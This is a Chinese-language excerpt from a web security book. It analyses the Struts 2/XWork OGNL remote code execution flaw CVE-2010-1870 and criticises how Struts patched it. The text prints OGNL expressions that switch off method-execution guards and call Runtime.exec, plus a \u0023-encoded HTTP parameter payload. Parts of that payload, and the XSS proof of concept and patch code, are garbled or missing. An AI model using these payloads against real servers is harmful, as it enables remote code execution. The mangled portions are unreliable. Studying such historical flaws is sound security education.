Web安全简史

Web框架自身安全

下面讲到的几个漏洞，都是一些流行的Web开发框架曾经出现过的严重漏洞。研究这些案例，可以帮助我们更好地理解框架安全，在使用开发框架时更加的小心，同时让我们不要迷信于开发框架的权威。

2010年7月9日，安全研究者公布了Struts 2一个远程执行代码的漏洞（CVE-2010-1870），严格来说，这其实是XWork的漏洞，因为Struts 2的核心使用的是WebWork，而WebWork又是使用XWork来处理action的。

这个漏洞的细节描述公布在exploit-db[1]上。

在这里简单摘述如下：

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称，这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL是怎么处理的呢？如下：

user.address.city=Bishkek&user['favoriteDrink']=kumys

会被转化成：

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的，它的参数是用户可控的，由HTTP参数传入。OGNL的功能较为强大，远程执行代码也正是利用了它的功能。

* Method calling: foo()

* Static method calling: @java.lang.System@exit(1)

* Constructor calling: new MyClass()

* Ability to work with context variables: #foo = new MyClass()

* And more...

由于参数完全是用户可控的，所以XWork出于安全的目的，增加了两个方法用以阻止代码执行。

* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)

* SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)

但这两个方法可以被覆盖，从而导致代码执行。

#_memberAccess['allowStaticMethodAccess'] = true

#foo = new java .lang.Boolean("false")

#context['xwork.MethodAccessor.denyMethodExecution'] = #foo

#rt = @java.lang.Runtime@getRuntime()

#rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允许参数名称中有#的，因为OGNL中的许多预定义变量也是以#表示的。

* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.

* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.

* #root

* #this

* #_typeResolver

* #_classResolver

* #_traceEvaluations

* #_lastEvaluation

* #_keepLastEvaluation

可是攻击者在过去找到了这样的方法（bug编号XW-641）：使用\u0023来代替#，这是#的十六进制编码，从而构造出可以远程执行的攻击payload。

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den

yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[e-mail]@getRunti

me()))=1

最终导致代码执行成功。

Struts 2官方目前公布了几个安全补丁[2]：

Struts 2官方的补丁页面

但深入其细节不难发现，补丁提交者对于安全的理解是非常粗浅的。以S2-002的漏洞修补为例，这是一个XSS漏洞，发现者当时提交给官方的POC只是构造了script标签。

(1)test=hello

我们看看当时官方是如何修补的：

新增的修补代码：

可以看到，只是简单地替换掉

由此可见，Struts 2的开发者，本身对于安全的理解是非常不到位的。

 

本文节选自《白帽子讲Web安全》一书。

图书详细信息:http://blog.chinaunix.net/uid-13164110-id-3156623.html

[1]

[2] http://struts.apache.org/2.x/docs/security-bulletins.html